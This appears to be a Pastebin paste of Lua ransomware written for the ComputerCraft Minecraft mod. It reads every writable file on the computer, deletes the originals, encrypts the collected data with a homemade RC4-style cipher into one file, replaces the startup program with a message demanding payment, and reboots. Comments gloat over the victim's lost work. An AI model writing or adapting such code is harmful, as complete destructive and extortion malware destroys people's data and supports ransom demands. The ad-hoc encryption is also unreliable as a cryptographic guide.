Advertisement
killer64

Untitled

Jan 4th, 2014
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.76 KB | None | 0 0
  1. local tob64,unb64,genkey,new,serialize
  2. do -- i like keeping functions i copy from my utility api in a do statement, so i can collapse it
  3. local _tob64={
  4. [0]="A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
  5. "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
  6. "0","1","2","3","4","5","6","7","8","9","+","/"
  7. }
  8. function tob64(stxt) -- hex was not intimidating enough
  9. local txt=tostring(stxt)
  10. if not txt then
  11. error("string expected, got "..type(stxt),2)
  12. end
  13. local d,o,d1,d2,d3={string.byte(txt,1,#txt)},""
  14. for l1=1,#txt-2,3 do
  15. d1,d2,d3=d[l1],d[l1+1],d[l1+2]
  16. o=o.._tob64[math.floor(d1/4)].._tob64[((d1%4)*16)+math.floor(d2/16)].._tob64[((d2%16)*4)+math.floor(d3/64)].._tob64[d3%64]
  17. end
  18. local m=#txt%3
  19. if m==1 then
  20. o=o.._tob64[math.floor(d[#txt]/4)].._tob64[((d[#txt]%4)*16)].."=="
  21. elseif m==2 then
  22. o=o.._tob64[math.floor(d[#txt-1]/4)].._tob64[((d[#txt-1]%4)*16)+math.floor(d[#txt]/16)].._tob64[(d[#txt]%16)*4].."="
  23. end
  24. return o
  25. end
  26. local _unb64={
  27. ["A"]=0,["B"]=1,["C"]=2,["D"]=3,["E"]=4,["F"]=5,["G"]=6,["H"]=7,["I"]=8,["J"]=9,["K"]=10,["L"]=11,["M"]=12,["N"]=13,
  28. ["O"]=14,["P"]=15,["Q"]=16,["R"]=17,["S"]=18,["T"]=19,["U"]=20,["V"]=21,["W"]=22,["X"]=23,["Y"]=24,["Z"]=25,
  29. ["a"]=26,["b"]=27,["c"]=28,["d"]=29,["e"]=30,["f"]=31,["g"]=32,["h"]=33,["i"]=34,["j"]=35,["k"]=36,["l"]=37,["m"]=38,
  30. ["n"]=39,["o"]=40,["p"]=41,["q"]=42,["r"]=43,["s"]=44,["t"]=45,["u"]=46,["v"]=47,["w"]=48,["x"]=49,["y"]=50,["z"]=51,
  31. ["0"]=52,["1"]=53,["2"]=54,["3"]=55,["4"]=56,["5"]=57,["6"]=58,["7"]=59,["8"]=60,["9"]=61,["+"]=62,["/"]=63,
  32. }
  33. function unb64(stxt)
  34. local txt=tostring(stxt)
  35. if not txt then
  36. error("string expected, got "..type(stxt),2)
  37. end
  38. txt=txt:gsub("[^%a%d/%+]","")
  39. local m=#txt%4
  40. if m==1 then
  41. error("invalid b64",2)
  42. end
  43. local o,d1,d2=""
  44. for l1=1,#txt-3,4 do
  45. d1,d2=_unb64[txt:sub(l1+1,l1+1)],_unb64[txt:sub(l1+2,l1+2)]
  46. o=o..string.char((_unb64[txt:sub(l1,l1)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(d2/4),((d2%4)*64)+_unb64[txt:sub(l1+3,l1+3)])
  47. end
  48. if m==2 then
  49. o=o..string.char((_unb64[txt:sub(-2,-2)]*4)+math.floor(_unb64[txt:sub(-1,-1)]/16))
  50. elseif m==3 then
  51. d1=_unb64[txt:sub(-2,-2)]
  52. o=o..string.char((_unb64[txt:sub(-3,-3)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(_unb64[txt:sub(-1,-1)]/4))
  53. end
  54. return o
  55. end
  56. function genkey(state)
  57. local r=0
  58. local o={}
  59. for n in http.get("http://www.random.org/cgi-bin/randbyte?nbytes="..(state or 256).."&format=d").readAll():gmatch("%d+") do -- because schizophrenia
  60. r=r+1
  61. o[r]=string.char(tonumber(n))
  62. end
  63. return table.concat(o)
  64. end
  65. function new(key,state) -- i diddnt think a 256 byte key state was safe enough, so i made it optional
  66. state=state or 256
  67. local length=#key
  68. key={string.byte(key,1,#key)}
  69. local sch={}
  70. for l1=0,state-1 do
  71. sch[l1]=l1
  72. end
  73. local t=0
  74. for l1=0,state-1 do
  75. t=(t+sch[l1]+key[l1%length+1])%state
  76. sch[l1],sch[t]=sch[t],sch[l1]
  77. end
  78. local i=0
  79. local r=0
  80. return function(data)
  81. local length
  82. data={string.byte(data,1,#data)}
  83. for l1=1,#data do
  84. i=(i+1)%state
  85. r=(r+sch[i])%state
  86. sch[i],sch[r]=sch[r],sch[i]
  87. data[l1]=bit.bxor(sch[(sch[i]+sch[r])%state]%255,data[l1])
  88. end
  89. return string.char(unpack(data))
  90. end,sch
  91. end
  92. local function tserialize(dat,options)
  93. options=options or {}
  94. local out=""
  95. local queue={{dat}}
  96. local cv=0
  97. local keydat
  98. local ptbl={}
  99. while queue[1] do
  100. local cu=queue[1]
  101. table.remove(queue,1)
  102. local typ=type(cu[1])
  103. local ot
  104. if typ=="string" then
  105. ot=string.gsub(string.format("%q",cu[1]),"\\\n","\\n")
  106. elseif typ=="number" or typ=="boolean" or typ=="nil" then
  107. ot=tostring(cu[1])
  108. elseif typ=="table" then
  109. local empty=true
  110. ot="{"
  111. local st=0
  112. ptbl[#ptbl+1]=cu[1]
  113. for k,v in pairs(cu[1]) do
  114. empty=false
  115. st=st+1
  116. table.insert(queue,st,{k,"key"})
  117. st=st+1
  118. local val=v
  119. if type(v)=="table" then
  120. for n,l in pairs(ptbl) do
  121. if l==v then
  122. if options.nofalse then
  123. val="recursive"
  124. elseif options.noerror then
  125. return false
  126. else
  127. error("Cannot handle recursive tables.",2)
  128. end
  129. end
  130. end
  131. end
  132. table.insert(queue,st,{val,"value",nil,st/2})
  133. end
  134. if empty then
  135. ot=ot.."}"
  136. ptbl[#ptbl]=nil
  137. typ="emptytable"
  138. else
  139. cv=cv+1
  140. if cu[3] then
  141. queue[st][3]=cu[3]
  142. cu[3]=nil
  143. end
  144. queue[st][3]=(queue[st][3] or 0)+1
  145. end
  146. elseif typ=="function" then
  147. if options.nofunc then
  148. ot="function"
  149. else
  150. local e,r,er=pcall(string.dump,cu[1])
  151. if e and r then
  152. ot="f(\""..tob64(r).."\")"
  153. else
  154. if options.nofalse then
  155. ot="invalid function"
  156. elseif options.noerror then
  157. return false
  158. else
  159. error(r or er,2)
  160. end
  161. end
  162. end
  163. end
  164. if cu[2]=="key" then
  165. if type(ot)=="string" then
  166. local nt=ot:sub(2,-2)
  167. local e,r=loadstring("return {"..nt.."=true}")
  168. if options.noshortkey or not e then
  169. ot="["..ot.."]="
  170. else
  171. ot=nt.."="
  172. end
  173. else
  174. ot=ot.."="
  175. end
  176. keydat={cu[1],ot}
  177. ot=""
  178. elseif cu[2]=="value" then
  179. if keydat[1]~=cu[4] then
  180. ot=keydat[2]..ot
  181. end
  182. if cu[3] then
  183. ot=ot..("}"):rep(cu[3])
  184. for l1=1,cu[3] do
  185. ptbl[#ptbl]=nil
  186. end
  187. cv=cv-cu[3]
  188. if cv~=0 then
  189. ot=ot..","
  190. end
  191. elseif typ~="table" then
  192. ot=ot..","
  193. end
  194. end
  195. out=out..ot
  196. end
  197. return out
  198. end
  199. function serialize(t)
  200. local r=tserialize(t,{noerror=true})
  201. if r then
  202. r=r:sub(2,-2)
  203. end
  204. return r
  205. end
  206. end
  207. local mpass=table.concat({...}," ") -- no error checking here because i like having it crash with all your important stuff
  208. -- this bit iterates through all your important files :D
  209. local queue={""}
  210. local out={}
  211. local nqueue=2
  212. local nout=1
  213. while queue[1] do
  214. local m=queue[1]
  215. table.remove(queue,1)
  216. nqueue=nqueue-1
  217. local _,sname=m:match("(.+)/(.-)$")
  218. sname=sname or m
  219. if fs.isDir(m) then
  220. for k,v in pairs(fs.list(m)) do
  221. if m~="" then
  222. queue[#queue+1]=m.."/"..v
  223. nqueue=nqueue+1
  224. elseif not fs.isReadOnly(v) and v~=shell.getRunningProgram() then
  225. queue[#queue+1]=v
  226. nqueue=nqueue+1
  227. end
  228. end
  229. if m~="" then
  230. out[nout]=m
  231. nout=nout+1
  232. print("added "..m)
  233. end
  234. else
  235. print("added "..m)
  236. local file=fs.open(m,"r")
  237. out[nout]={m,file.readAll()}
  238. nout=nout+1
  239. file.close()
  240. end
  241. end
  242. print("deleting stuff")
  243. for k,v in pairs(fs.list("")) do
  244. pcall(fs.delete,v) -- your program that took hours to code was here
  245. end
  246.  
  247. local file=fs.open("yo_shit","w") -- your program that took hours to code is now here
  248. print("generating esalt")
  249. local esalt=genkey(512)
  250. local msalt=""
  251. local lmpass=#mpass
  252. print("generating CF")
  253. do -- clusterfuck salt prefix ( inspired by silver surfer )
  254. local l=0
  255. for l1=1,1024 do
  256. local st=1+((l1-1)%lmpass)
  257. local rt=1+((l1-1)%512)
  258. math.randomseed(l+string.byte(mpass,st,st)+string.byte(esalt,rt,rt)) -- this is the line that fails when you dont enter a pw
  259. l=math.random(0,0xFFFFFF)
  260. if l1%64==0 then
  261. msalt=msalt..string.byte(l%256)
  262. end
  263. end
  264. end
  265. file.write(tob64(esalt..new(msalt..esalt..mpass,1024)(serialize(out)))) -- your stuff is deleted first so incase the encryption crashes, your stuff is gone :D
  266. file.close()
  267. print("writing to startup")
  268. local file=fs.open("startup","w")
  269. -- this is what all true trolls strive for
  270. file.write('print("Your stuff was encrypted by PixelToast, pay me and you get your stuff unlocked")')
  271. file.close()
  272. print("done")
  273. sleep(2)
  274. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement